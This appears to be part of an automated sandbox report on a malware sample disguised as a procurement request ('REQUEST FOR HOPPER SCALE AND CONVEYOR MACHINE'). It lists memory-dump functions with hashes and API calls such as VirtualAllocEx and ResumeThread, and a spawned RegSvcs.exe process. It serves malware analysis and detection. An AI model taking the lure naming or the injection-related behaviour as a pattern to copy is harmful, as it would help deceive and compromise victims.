Opcode Fuzzy Hash: 6253ad9c947e4c5cdabde7c2ec6f895d9d8e28642bf7aad8855ed9353824304d
Instruction Fuzzy Hash: A1115971800349AFDB10DFAAD845BEFBBF5EF49310F248419E519A7250C779A941CFA1

Function 0A7967DC Relevance: 1.6, APIs: 1, Instructions: 56
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,0A798742,?,?,?,?,?), ref: 0A7987E7

Memory Dump Source

Source File: 00000000.00000002.1451441187.000000000A790000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a790000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 54c022385a69faddcc099894dcdd2e1d5d096dc546cc635c7e621e28930303db
Instruction ID: e6f4c9791f29a51371742d5477ddfa4a6a72fc97ceed658f33d57c6f954c44da
Opcode Fuzzy Hash: 54c022385a69faddcc099894dcdd2e1d5d096dc546cc635c7e621e28930303db
Instruction Fuzzy Hash: 9C1126B5800249EFDB10CFAAD844BEEBFF8EB48310F14841AE514A7250C379A954CFA5

Function 09E8C878 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 09E8C8E6

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6387544d00d90083ba3351fbc7f6c191f0d7c3c0d993798b907b2f3fb5312905
Instruction ID: 210c37aabe39b382b4aa46181c0ea586e20aaa95a4ce3ce1b425f9bcaf7f033d
Opcode Fuzzy Hash: 6387544d00d90083ba3351fbc7f6c191f0d7c3c0d993798b907b2f3fb5312905
Instruction Fuzzy Hash: 2F1126718003499FDB10DFAAD845BDFBBF5EF89310F248419E519A7250C775A941CBA1

Function 09E8C6EE Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 09E8C752

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5d7fb08491c38c4f9be3c8fcb8ed1ca9bc14c3a5ba4d3f8119a6b12c632f4a52
Instruction ID: 1403899a71c21edf22aa19a6fc2cbb78ebc07e57a112d3df5d2904ac41c318ba
Opcode Fuzzy Hash: 5d7fb08491c38c4f9be3c8fcb8ed1ca9bc14c3a5ba4d3f8119a6b12c632f4a52
Instruction Fuzzy Hash: 6C116A71C003488FDB10DFAAC8457AFFBF4EB88210F248419D419A7240C7756900CFA0

Function 09E8C6F0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 09E8C752

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c0ed4661133e18cf7906efba47bc56ab74da1125849bf1966a0e86cafdb74f0f
Instruction ID: bd12f18c9d855900d8ee6f432a7ab0478d827012b1b3efc502ad563dcf1f8cad
Opcode Fuzzy Hash: c0ed4661133e18cf7906efba47bc56ab74da1125849bf1966a0e86cafdb74f0f
Instruction Fuzzy Hash: 4E113671D003498FDB20DFAAC84579FFBF4AB89624F24841AD419A7240CB79A944CBA5

Function 0313F2B8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 0313F31D

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6de7d4dca8b094fec84564444c13d4f4959b14201828107cd776a9266703bd17
Instruction ID: ba57db28ff7820a834b32281d2ace9fe82dbabefd838eac7a4f00a445cd4d29f
Opcode Fuzzy Hash: 6de7d4dca8b094fec84564444c13d4f4959b14201828107cd776a9266703bd17
Instruction Fuzzy Hash: 1411BFB5804398DFDB10CF99E4057DEBFF4EB09314F144099D588A7341C3799A05CBA2

Function 030DD3B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1425966544.00000000030DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 030DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30dd000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16cb6db4458c060478f6e5fc1b2f9c9fbcbea86535cd4e39cdf284aaa0c30116
Instruction ID: e6cec61bd228940e5e2b31c14f8e640b135b8dcd86d4d59fd0c0dd729663b081
Opcode Fuzzy Hash: 16cb6db4458c060478f6e5fc1b2f9c9fbcbea86535cd4e39cdf284aaa0c30116
Instruction Fuzzy Hash: 0F2103B2501344EFDB14DF14D9C0B2AFBE5FF84324F24C5A9E8090BA46C336E456CAA2

Function 030ED01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426012988.00000000030ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 030ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30ed000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ff0c9ef2ed4b8466ff35673986605092a3bd5328ef06b70da379830bdc0dbe7
Instruction ID: 8814fa1ac11d07a302206999673980b31ef22707678f2560c9ff039a62ad334d
Opcode Fuzzy Hash: 1ff0c9ef2ed4b8466ff35673986605092a3bd5328ef06b70da379830bdc0dbe7
Instruction Fuzzy Hash: 0421F271604344EFDB14DF24D980B26BBA5FB84315F28C9A9E80A4B246C336D847CA62

Function 030ED1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426012988.00000000030ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 030ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30ed000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a77e6a92f5f8eb9a8acf01b9268b2b8a0d51fe335f15876d0d050728a3d36fa8
Instruction ID: bbc70c7a10c0b4e8dd2dd1346b8cd0a261419603cdf3a99364e20b31ff415851
Opcode Fuzzy Hash: a77e6a92f5f8eb9a8acf01b9268b2b8a0d51fe335f15876d0d050728a3d36fa8
Instruction Fuzzy Hash: DD212675A04344EFDB45DF64D9C0B2ABBA5FB94314F24C9ADE8094F292C336D846CA62

Function 030ED006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426012988.00000000030ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 030ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30ed000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8ee4dc07b7b1b17cca8cfaab9f5361cdf0ff2d0faa1e777f3d0b72b65ed02f0
Instruction ID: f33bcfd84cbc9748c5373be8ca4f5139e7231175b92fcc6b274f7c65e3f90935
Opcode Fuzzy Hash: f8ee4dc07b7b1b17cca8cfaab9f5361cdf0ff2d0faa1e777f3d0b72b65ed02f0
Instruction Fuzzy Hash: 35216F75509380DFCB12CF24D994B15BFB1EB46214F2CC5DAD8498F6A7C33A984ACB62

Function 030DD3AF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1425966544.00000000030DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 030DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30dd000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1964494f132f00775c0e221f472ab769a33717f3edcd57285c8181465a4d2f
Instruction ID: 831749152bcd03c9d6c8f01958ae8f4c70a042dcad219bf0a15e31286f5c9474
Opcode Fuzzy Hash: 0d1964494f132f00775c0e221f472ab769a33717f3edcd57285c8181465a4d2f
Instruction Fuzzy Hash: 56117F76505280DFCB15CF10D9C4B16FFB1FB84324F28C5A9D8494BA56C336E456CBA2

Function 030ED1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426012988.00000000030ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 030ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30ed000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6f14a2633b0976cf55fba98dc8f49a251bcab79b87bdac7509de7911a20ab2c
Instruction ID: 33c77fdad867807d7a938958a96dca95747095a75546b968bc1d47985a13da48
Opcode Fuzzy Hash: a6f14a2633b0976cf55fba98dc8f49a251bcab79b87bdac7509de7911a20ab2c
Instruction Fuzzy Hash: 25118B75A04280DFCB55CF10D5C4B15FBA1FB84214F28C6AED8494B696C33AD44ACB62

Non-executed Functions

Function 03134490 Relevance: 2.7, Strings: 2, Instructions: 196COMMON

Download Yara Rule

Strings

-E&@, xrefs: 031344DF
|/@T, xrefs: 031344E2

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID: -E&@$|/@T
API String ID: 0-3979998924
Opcode ID: f3ce036442301d14695dd1c493cab8fc1869c430b868877c6ac9e49a57da781e
Instruction ID: fc213069a5028d48f445135151cb111fc16e950e6b1e045e23d0b94a88d7ab00
Opcode Fuzzy Hash: f3ce036442301d14695dd1c493cab8fc1869c430b868877c6ac9e49a57da781e
Instruction Fuzzy Hash: 7991F374E10219CFCB08CFAAC58499EFBF2FF8A310F25956AD415AB214D734AA42CF55

Function 03134480 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

-E&@, xrefs: 031344DF
|/@T, xrefs: 031344E2

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID: -E&@$|/@T
API String ID: 0-3979998924
Opcode ID: 7e6d053ec9a1a764d438c18f2095f79d831ac1199aaa50f31f542144633ed82a
Instruction ID: 34d984b5cc5b332fec8794b217dcce00d3cd9d19f4b68a46a499bd38eada88a4
Opcode Fuzzy Hash: 7e6d053ec9a1a764d438c18f2095f79d831ac1199aaa50f31f542144633ed82a
Instruction Fuzzy Hash: 85810374E10219CFCB08CFA9C58499EFBF2FF8A310F25956AD415AB225D734AA42CF50

Function 03135308 Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

JGO, xrefs: 031353AC

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID: JGO
API String ID: 0-1117171264
Opcode ID: 33af6a3e9b5722a2ce98bc528f7d7d151893ecd83091fcb57865b0d0fe2c8059
Instruction ID: 87e67c735234d36b2c23a96cf187fa58158c9d8a464d70b87fb4abe79d9c88a9
Opcode Fuzzy Hash: 33af6a3e9b5722a2ce98bc528f7d7d151893ecd83091fcb57865b0d0fe2c8059
Instruction Fuzzy Hash: 12611AB4D04209DFCB08CFAAD9815AEFBF2BF4A740F14806AD415B7250D7789A41CFA1

Function 03135B38 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

h!), xrefs: 03135C37

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID: h!)
API String ID: 0-4194536186
Opcode ID: 2b30789f22350429ca8a4e4e6017d773a2f32217e24eba6ac67de1254e36970d
Instruction ID: d8dbbbaab513cc725efb0ea4c45f851982b69cff013623ef3464a59b9ff4245e
Opcode Fuzzy Hash: 2b30789f22350429ca8a4e4e6017d773a2f32217e24eba6ac67de1254e36970d
Instruction Fuzzy Hash: 9041FAB0E0560ADFDB08CFAAC5405AEFBF2FF89310F24D069C415B7214D7349A458BA5

Function 03135B29 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

h!), xrefs: 03135C37

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID: h!)
API String ID: 0-4194536186
Opcode ID: 3d5a8dcba66588c91998439f788e00183596b76384ec1ac1a744d185911bf025
Instruction ID: 353210cb45595b1715047ef0b7ad996eb14a19a9ec12d4b7313653a1eecaf5a3
Opcode Fuzzy Hash: 3d5a8dcba66588c91998439f788e00183596b76384ec1ac1a744d185911bf025
Instruction Fuzzy Hash: 1241E8B4E0564A9FDB08CFAAC5815AEFBF2FF89310F24D069C405B7218D7349A458BA5

Function 0A79D1B0 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

Xai, xrefs: 0A79D235

Memory Dump Source

Source File: 00000000.00000002.1451441187.000000000A790000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a790000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID: Xai
API String ID: 0-3495335054
Opcode ID: 31ad1aef4fb1a844bfe7b7919db41d32d8ba876c1d5dae2fa7918f356f621026
Instruction ID: 08db3544970fc3e9c98e64d01e02506870e38aa5fe162657b14e1e2a53df6c06
Opcode Fuzzy Hash: 31ad1aef4fb1a844bfe7b7919db41d32d8ba876c1d5dae2fa7918f356f621026
Instruction Fuzzy Hash: D82136B1E106199BEB58CFABD94169EFBF7AFC9310F14C13AD418B7215DB304A068B90

Function 0A79D1A0 Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

Xai, xrefs: 0A79D235

Memory Dump Source

Source File: 00000000.00000002.1451441187.000000000A790000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a790000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID: Xai
API String ID: 0-3495335054
Opcode ID: ee9cd60a84a0e27d04d5e41d0032a7dbf2afa7784d564ef1d6468fca15b1e40c
Instruction ID: a0bbc5e1856cab8633b6fd94a59ee55e42bfda5c5b0fd1d163e62bffff735699
Opcode Fuzzy Hash: ee9cd60a84a0e27d04d5e41d0032a7dbf2afa7784d564ef1d6468fca15b1e40c
Instruction Fuzzy Hash: 832158B1E106188BEB58CF6BD84169EFBF3AFC9300F14C07AD408B7215DB3049468B55

Function 09E899C0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 507212df4e02d4ea4e90372138c2cf88e7d8842de7b42254083952c8bc24a81b
Instruction ID: aaa68b64217d9ebce2f0b5ff26b90e90741020c61cfdab204095d4264709f598
Opcode Fuzzy Hash: 507212df4e02d4ea4e90372138c2cf88e7d8842de7b42254083952c8bc24a81b
Instruction Fuzzy Hash: 78E1E974E002198FDB14DFA9C580AAEFBB2FF89305F248169D419AB356D731AD41CF64

Function 09E8BA70 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1556e93fffc06a0a93b5f3f77c47ea3cc95a036a004f2912d7be654ec488b740
Instruction ID: 6baf71091c72e56382cf31dfffdf950a02f7544972885a1435d2370b99242e9d
Opcode Fuzzy Hash: 1556e93fffc06a0a93b5f3f77c47ea3cc95a036a004f2912d7be654ec488b740
Instruction Fuzzy Hash: 52E1FC74E002198FDB14DFA9C580AAEFBB2FF89305F248169D419AB355D731AD41CFA0

Function 09E89DF8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93d51dbd95f67f7b0bd8e7a21d856a0ad866176ba76974b298911aedc91dee25
Instruction ID: 18218b3284e2ebf792947c1e3192613d337122918cafb462ae67130b09cccd46
Opcode Fuzzy Hash: 93d51dbd95f67f7b0bd8e7a21d856a0ad866176ba76974b298911aedc91dee25
Instruction Fuzzy Hash: 13E1EB74E102198FDB14DFA9C580AAEFBB2FF89305F24816AD418AB355D735AD41CFA0

Function 09E8A230 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaa14f3e322e949d1802634190990093bfceaeade6d6d0d299ac28c5fd5e6e5a
Instruction ID: fff0ceced1df5baae1d871f406f89312924f5282a4614b58a1a2cee5868497f2
Opcode Fuzzy Hash: aaa14f3e322e949d1802634190990093bfceaeade6d6d0d299ac28c5fd5e6e5a
Instruction Fuzzy Hash: 07E1FB74E012198FDB14DFA9C5809AEFBB2FF89305F24816AD419AB355D731AD41CF60

Function 09E8B638 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1450462274.0000000009E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e80000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08dfb0f2be34dea8b3e45345bb48d7cafd449c397dd2d53a42152ebb4b643319
Instruction ID: f9d2c5c254888f0ca4d63c9f2222c5523bfc22d1c894231fcab9b664e2558fcf
Opcode Fuzzy Hash: 08dfb0f2be34dea8b3e45345bb48d7cafd449c397dd2d53a42152ebb4b643319
Instruction Fuzzy Hash: AEE1F974E002198FDB14DFA9C580AAEFBB2FF89305F248169D819AB355D731AD41CFA0

Function 03131698 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35df01d54f65a9b57046c95d6ce496896ff3058a7379433ab3efaa0d58f60bf2
Instruction ID: 9b51d9bcc519d924c156af668e39b1a9bf1e562e85a479cdca590151fc6852bc
Opcode Fuzzy Hash: 35df01d54f65a9b57046c95d6ce496896ff3058a7379433ab3efaa0d58f60bf2
Instruction Fuzzy Hash: 1AB1F974E1221E9FDB04EFA9D880ADEBBB2FF89300F109665D415AB355DB30A945CF81

Function 031320C9 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81c633e7f734f82098a7a29be0887b555321289901834ad32a08865abb2a22ff
Instruction ID: ff3abce5ebd4e9a5a4f867a484c1a79d9651700dc9c022adb43bd2b57c67b896
Opcode Fuzzy Hash: 81c633e7f734f82098a7a29be0887b555321289901834ad32a08865abb2a22ff
Instruction Fuzzy Hash: 377129B5E0520ADFCB08DF99D5819EEFBB1FB8A310F149529E515AB314D3349982CF90

Function 031358E0 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8080758d93791bb6f2f4b13726c5c617cead2b0144e89f3a708fe46d7eb66d43
Instruction ID: d4b324d19b9542dc634239bc232301ff8e8a353ec223e8baa751fa2968b851f5
Opcode Fuzzy Hash: 8080758d93791bb6f2f4b13726c5c617cead2b0144e89f3a708fe46d7eb66d43
Instruction Fuzzy Hash: A361C3B4E156199FDB08CFA9C5809DEFBF2FB8A220F24946AD415BB314D3349A41CB64

Function 03135018 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46eaf027a0b886081a0eb1e7e9f8ad38e48f49f69b133a3bed8bbdca4f6e4cb5
Instruction ID: 6b5e3e493608a883a5c48b2dbb1dd7bafeeeb0aefa45075d8ac29649feb3744c
Opcode Fuzzy Hash: 46eaf027a0b886081a0eb1e7e9f8ad38e48f49f69b133a3bed8bbdca4f6e4cb5
Instruction Fuzzy Hash: 6971C4B4E1020ADFCB14CF99D5808AEFBB2FF4A710F25955AD415AB314D7349982CFA0

Function 031358D0 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 220e4022a03e95c5627167557adaf5de368383d45a0184fcb62858a49760df39
Instruction ID: 48dbba02ef5b6e24b612962fba000107c0c0ffdd1f479beb2b06957afe1e5ec6
Opcode Fuzzy Hash: 220e4022a03e95c5627167557adaf5de368383d45a0184fcb62858a49760df39
Instruction Fuzzy Hash: 3561C375E1561A8FDB08CFA9C5809EEFBF2FF8A220F24946AD415B7314D3349A41CB64

Function 03135008 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa8a34c22273e3cdfe830b5e8505f237a8501395fee51da0e3ca2b91631eb26a
Instruction ID: 2802c0ac820f6cde7f26180402e989b4456f9d4da295d84cbe6f6c9d5e33a973
Opcode Fuzzy Hash: fa8a34c22273e3cdfe830b5e8505f237a8501395fee51da0e3ca2b91631eb26a
Instruction Fuzzy Hash: CB61F8B4D0420ADFCB04CFA9C5819AEFBB2FF4A710F19855AD415AB304D734A982CFA1

Function 0313569A Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fad0bf11fc58e7bab48f2b56907847e1a04b54340db2f655493e6d6a2778de4
Instruction ID: 0a4854f5ae8f4d639688af9d83ce203f0d0fcd656f09309a55fcfae893ebb1aa
Opcode Fuzzy Hash: 1fad0bf11fc58e7bab48f2b56907847e1a04b54340db2f655493e6d6a2778de4
Instruction Fuzzy Hash: 6441EBB4E0460A9FDB08CFAAC4815AEFBF2EF8A310F24D56AC415F7254D7349A458F94

Function 031356A8 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1426353833.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3130000_REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f33ecfa09fe4e3c84ee02e6d1f8c32880cfc559e4c3ba35cd3b3b9d3f4f737f8
Instruction ID: c92e17d354dd6430a5fb9d7722bdf1ba02771694814e11d934fb652a6f87de34
Opcode Fuzzy Hash: f33ecfa09fe4e3c84ee02e6d1f8c32880cfc559e4c3ba35cd3b3b9d3f4f737f8
Instruction Fuzzy Hash: E141E9B4E0460A8FDB08CFAAC4805AEFBF2FF8A310F24D56AC415B7214D7349A458F94

Analysis Process: RegSvcs.exePID: 8048, Parent PID: 7552COMMON

Execution Graph

Execution Coverage:	11.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	5

Executed Functions

Function 06545670 Relevance: 1.8, Strings: 1, Instructions: 600
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06545D0C

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 3d6599f7b34241fa5113c76884e8b7233cb70c6b6eef2180d7aa5f565e1e39b6
Instruction ID: 04e20115bf653734a31895ba6271ab39d41aa3c2e00a7a695a858559ed9548ea
Opcode Fuzzy Hash: 3d6599f7b34241fa5113c76884e8b7233cb70c6b6eef2180d7aa5f565e1e39b6
Instruction Fuzzy Hash: 3E22D175E002099FDF64EBA4C4846AEBBB2FF85324F2084B9E455AB354EA35DC45CB90

Function 06542429 Relevance: 1.0, Instructions: 1016COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ce65636137515125266e8207402fd4e6a2692e5f201c2de80703e692d59461
Instruction ID: 0043f19769d969e06ca45c1adc26858d39e41bc02b475bd3c4a1b2389810870b
